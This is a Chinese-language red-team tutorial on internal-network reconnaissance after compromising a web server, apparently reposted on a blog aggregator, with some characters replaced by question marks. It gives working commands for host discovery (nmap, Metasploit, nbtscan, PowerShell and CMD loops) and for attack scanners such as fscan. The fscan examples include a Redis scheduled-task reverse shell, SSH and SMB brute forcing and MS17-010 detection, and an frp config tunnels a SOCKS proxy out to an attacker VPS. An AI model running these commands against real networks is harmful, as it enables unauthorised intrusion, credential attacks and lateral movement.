内网渗透-内网信息搜集
前言
當我們能訪問到?標內?任何資源之后,我們就可以對 ?標內?進?更深層次的信息搜集?如:主機收集、IP 段搜集、端?開放服務、Web 資產數量、漏洞類型。接下來是一些工具的食用姿勢,僅供參考。
假設我們已經獲取到 web-2012 的權限,接下來如何對內?進?信息搜集,內?掃描。
信息收集
主機存活探測
基于netbios的內網存活主機發現
netbios簡介
IBM公司開發,主要用于數十臺計算機的小型局域網。該協議是一種在局域網上的程序可以
使用的應用程序編程接口(API),為程序提供了請求低級服務的同一的命令集,作用是為
了給局域網提供網絡以及其他特殊功能。
系統可以利用WINS服務、廣播及Lmhost文件等多種模式將NetBIOS名-——特指基于
NETBIOS協議獲得計算機名稱——解析為相應IP地址,實現信息通訊,所以在局域網內部使
用NetBIOS協議可以方便地實現消息通信及資源的共享。
nmap
sudo nmap -sU --script nbstat.nse -p137 192.168.10.1/24 -T4
注:nmap連自己都會掃,及時沒有netbios也會提示主機存活。比如kali linux本身。
MSF——auxiliary/scanner/netbios/nbname
效果沒那么好。
nbtscan
Nbtscan 是?款能迅速查找電腦IP地址以及MAC地址的軟件,不過只能?于局域?,顯示IP、主機名、?戶名稱以 及MAC地址。
nbtscan -v -s : 192.168.43.0/24????????? ????????? # windows和linux通用
通過 nbtscan 在內?滲透中所使?的場景?的就是為了幫助我們快速識別那些機器是域機器,那些機器是 DC,那 些機器是?作組機器。
kali下的nbtscan:
windows下的nbtscan.exe:(會剔除本機所在的機器)
基于SMB協議的內網存活主機發現
簡介
SMB(全稱是Server Message Block)是一個協議名,它能被用于Web連接和客戶端與服務器之間的信息溝通。SMB最初是IBM的貝瑞·費根鮑姆(Barry Feigenbaum)研制的,其目的是將DOS操作系統中的本地文件接口“中斷13”改造為網絡文件系統。
nmap
nmap -sS --script smb-enum-shares.nse -p 445 192.168.43.1/24
MSF——auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.43.1/24
rhosts => 192.168.43.1/24
msf6 auxiliary(scanner/smb/smb_version) > set threads 10
threads => 10
msf6 auxiliary(scanner/smb/smb_version) > exploit
基于CMD
需要開啟telnet窗口
for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445
基于powershell
# 單IP,OK
445 | %{ echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.83",$_)) "$_ is open"} 2>$null
# 多IP
80..85 | % { $a = $_; 445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.$a",$_)) "Port $_ is open"} 2>$null}
Port 445 is open
#多IP,多port
80..85 | % { $a = $_; write-host "- - - - -"; write-host "192.168.43.$a"; 137,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.43.$a",$_)) "Port $_ is open"} 2>$null}
- - - - -
192.168.43.80
- - - - -
192.168.43.81
- - - - -
192.168.43.82
- - - - -
192.168.43.83
Port 445 is open
- - - - -
192.168.43.84
- - - - -
192.168.43.85
基于ARP協議的內網存活主機發現
概念
ARP,通過解析網路層地址來找尋數據鏈路層地址的一個在網絡協議包中極其重要的網絡傳輸 協議。根據IP地址獲取物理地址的一個TCP/IP協議。主機發送信息時將包含目標IP地址的 ARP請求廣播到網絡上的所有主機,并接收返回消息,以此確定目標的物理地址。
nmap
nmap -sn -PR 192.168.10.1/24
-sn????????? ????????? # 不掃描端口,只掃描主機
-PR????????? ????????? # ARP ping掃描
MSF——auxiliary/scanner/discovery/arp_sweep
基于SNMP協議的內網存活主機發現
簡介
SNMP是一種簡單網絡管理協議,它屬于TCP/IP五層協議中的應用層協議,用于網絡管理的
協議。SNMP主要用于網絡設備的管理。SNMP協議主要由兩大部分構成:SNMP管理站和
SNMP代理。SNMP管理站是一個中心節點,負責收集維護各個SNMP元素的信息,并對這
些信息進行處理,最后反饋給網絡管理員;而SNMP代理是運行在各個被管理的網絡節點之
上,負責統計該節點的各項信息,并且負責與SNMP管理站交互,接收并執行管理站的命
令,上傳各種本地的網絡信息。
nmap
nmap -sU -T4 --script snmp-brute 192.168.10.0/24
MSF——auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.43.1/24
rhosts => 192.168.43.1/24
msf6 auxiliary(scanner/snmp/snmp_enum) > set threads 10
threads => 10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
基于ICMP協議的內網存活主機發現
簡介
?ICMP是TCP/IP協議族的一個子協議,用于在IP主機、路由器之間傳遞控制消息。控制消息是指 網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。這些控制消息雖然并不傳輸 用戶數據,但是對于用戶數據的傳遞起著重要的作用。
nmap
nmap -PE -sn -T4 192.168.43.1/24
cmd
# 打印在屏幕當中
for /L %P in (1,1,254) DO @ping -w 1 -n 1 192.168.43.%P | findstr "TTL="
來自 192.168.43.18 的回復: 字節=32 時間<1ms TTL=64
來自 192.168.43.83 的回復: 字節=32 時間=1ms TTL=128
來自 192.168.43.106 的回復: 字節=32 時間<1ms TTL=128
# 輸入到文件當中(windows)
for /l %p in (1,1,254) do @ping -l 1 -n 3 -w 40 192.168.1.%p & if errorlevel 1 (echo 192.168.1.%p>>na.txt) else (echo 192.168.1.%p>>ok.txt)
# 輸入到文件當中(linux),未成功
for i in {1..254}; do ping -q -i 0.01 -c 3 192.168.1.$i &> /dev/null && echo 192.168.1.$i is alive; done
資產存活探測
PTscan
PTscan(Phantom scanner) 是一款界面友好的輕量級web應用資產掃描器,適合于內網滲透測試環境下web的資產快捷識別,只需Python環境,無需第三方擴展庫,掃描結果使用zoomeye網頁樣式。
下載地址:https://github.com/phantom0301/PTscan
使用python2的pyinstaller庫打包成exe
pyinstaller -F -w ptscan.py
具體使用語法:
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]
-f????????? 指定掃描?標?件,?件格式如list.txt所示,同時?持IP和URL
-h? 指定掃描IP或IP段,?持段掃描,如192.168.1 即為掃描C段,192.168 即為掃描B段
-p? 指定掃描端?,缺省使?程序中的配置端?
-m? 指定線程數
-t? 指定timeout
-n????????? 不進行ping操作,直接掃描
-b????????? 開啟Banner識別
-r? reverseIP
掃描示例:
python2 PTscan.py -h 10.10.10 -p 80,8080,8888 -m 50 -t 10 -n -b
當ptscan掃描完成后會在當前路徑下生成一個html文件。使用瀏覽器打開,即可看到掃描出來的web資產:banner、中間件、url、開放端口。
漏洞掃描
?Inscan
邊界打點后的?動化內??具,完全與服務端脫離。服務端只?于?成poc,?段信息等配置。
?多平臺,單一的二進制文件,免依賴;
?支持自動可視化多級隧道,通過后臺按鈕開關即可穿越多層網絡;
?支持ipv6的掃描器;
?快速直觀查看多網卡機器,方便快速定位能穿多層網絡機器;
?通過已知密碼生成社工字典,快速橫向內網;
?內網B/S架構系統自動化爆破,驗證碼自動識別;
?快速資產識別,站點截圖;
?通過掃描到的資產自動化進行網站目錄掃描;
官?地址:https://www.inbug.org/
然后注冊一個用戶生成一個Inscan Agent:
下載后在目標終端運行即可(盡量使用管理員權限,否則有的時候會卡住)
掃描完成后會在當前路徑下?產?個 poc.db ?件:
把 poc.db 拖回本地也?,或者再次運? again ,訪問?標 ip:54088 即可看到掃描結果:
fscan
一款內網綜合掃描工具,方便一鍵自動化、全方位漏掃掃描。支持主機存活探測、端口掃描、常見服務的爆破、ms17010、redis批量寫公鑰、計劃任務反彈shell、讀取win網卡信息、web指紋識別、web漏洞掃描、netbios探測、域控識別等功能,在不指定特定模塊的前提下,默認啟用所有模塊。
下載地址:https://github.com/shadow1ng/fscan
常用命令:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳過存活檢測 、不保存文件、跳過web poc掃描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 寫公鑰)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 計劃任務反彈shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令執行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模塊ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加載指定文件的用戶名、密碼來進行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定掃描結果保存路徑,默認保存在當前路徑)
fscan.exe -h 192.168.1.1/8? (A段的192.x.x.1和192.x.x.254,方便快速查看網段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密碼碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模塊)
fscan.exe -hf ip.txt? (以文件導入)
fscan.exe -u http://baidu.com -proxy 8080 (掃描單個url,并設置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不進行爆破,不掃Web poc,以減少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基礎上,加入3389->rdp掃描)
?特殊手法:
針對B段滲透時,建議使用單模塊測試,使用全模塊時速度會比較慢,應該是1.6.3版本的bug,新版本未做測試,不清楚具體情況。除此之外,1.6.3模塊在探測ftp的時候錯誤會一直卡頓,而不是跳過。
?掃描手法:fscan.exe -h 175.34.1.1/16 -m
?推薦模塊(基于1.7.0):
# 數據庫爆破
mgo????????? # mongodb數據庫
redis????????? # redis數據庫
psql????????? # postgresql數據庫
mssql????????? # SQL Server數據庫
mysql????????? # mysql數據庫
mem ???????? ????????? # mem代表Memcached,是一個內存對象緩存服務,跟Redis很相像。
注:oracle雖然在更新記錄中指出支持,但是在打包后,還是無法指定該模塊,查看時也無法看到。
# 服務爆破
smb # 采用SMB協議的文件共享服務
rdp????????? # windows的遠程桌面服務
ftp????????? ????????? # 文件傳輸服務
ssh????????? ????????? # linux下的遠程登錄協議
# 漏洞掃描
ms17010????????? 通過TCP端口445和139來利用SMBv1和NBT中的遠程代碼執行漏洞,利用SMB協議,也稱作永恒之藍
cve20200796????????? SMB 3.1.1協議遠程代碼執行漏洞,也稱作永恒之黑
fcgi????????? 快速通用網關接口,fastcgi,遠程代碼執行等漏洞
web????????? ????????? 收集資產并且進行漏洞掃描
# 查看所有可用模塊
fscan.exe -m -h
使用案例:
C:\Windows\Temp>fscan.exe -h 10.10.10.0/24 -o 10.txt
?? ___????????????????????????????? _
? / _ \???? ___? ___ _ __ __ _? ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|?? <
\____/???? |___/\___|_|? \__,_|\___|_|\_\
???????????????????? fscan version: 1.7.0
scan start
(icmp) Target '10.10.10.3' is alive
(icmp) Target '10.10.10.12' is alive
(icmp) Target '10.10.10.10' is alive
(icmp) Target '10.10.10.11' is alive
(icmp) Target '10.10.10.20' is alive
icmp alive hosts len is: 5
10.10.10.10:445 open
10.10.10.10:135 open
10.10.10.3:445 open
10.10.10.3:135 open
10.10.10.12:445 open
10.10.10.12:135 open
10.10.10.12:80 open
10.10.10.20:445 open
10.10.10.20:135 open
10.10.10.11:445 open
10.10.10.11:135 open
10.10.10.20:88 open
10.10.10.10:88 open
10.10.10.11:88 open
NetInfo:
[*]10.10.10.12
[->]web-2012
[->]192.168.1.109
[->]10.10.10.12
NetInfo:
[*]10.10.10.10
[->]AD-2016
[->]10.10.10.10
NetInfo:
[*]10.10.10.3
[->]web-2003
[->]10.10.10.3
WebTitle:http://10.10.10.12 200 IIS Windows Server
[+] 10.10.10.20 MS17-010 (Windows Server 2016 Standard 14393)
NetInfo:
[*]10.10.10.11
[->]AD2-2016
[->]10.10.10.11
[+] 10.10.10.3 MS17-010 (Windows Server 2003 3790 Service Pack 2)
[+] 10.10.10.11 MS17-010 (Windows Server 2016 Standard 14393)
[+] 10.10.10.10 MS17-010 (Windows Server 2016 Standard 14393)
scan end
C:\Windows\Temp>
goby
Goby號稱新一代的網絡安全測試工具,有IP存活探測、端口掃描、資產探測、主機識別等功能,內置代理功能。代理方式有socket和pcap兩種,socket支持socks和HTTP兩種,均支持身份驗證。
紅隊人員VPS(192.168.10.110)配置frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
然后啟動frp服務端:
./frps -c frps.ini
在目標網絡邊界weblogic配置frpc.ini
[common]
server_addr = 192.168.10.110(紅隊人員VPS)
server_port = 7000
[plugin_socks]
type = tcp
remote_port =7777
plugin = socks5
然后啟動客戶端
./frpc.exe -c frpc.ini
在goby中設置socks代理:
然后新建任務,配置參數進行漏洞掃描:
goby在滲透測試當中探測C段還OK,如果是B段的話,設置特殊端口,然后再掃描。大批量掃的話,就要看Inscan和fscan了。
結尾
在內?滲透中,?些內?掃描?具能夠幫助我們紅隊?員減去很多時間,不??動去信息搜集、不??動去漏洞探測,因此掌握?個漏洞掃描器或者多個掃描器的使??法是我們紅隊?員最基本的要求。
除了以上的metasploit、Nmap...等等一些優秀的工具等著大家去發掘和使用。
總結
以上是生活随笔為你收集整理的内网渗透-内网信息搜集的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用FFmpeg和OpenGL ES 实
- 下一篇: 用 Saleae Logic 16 示波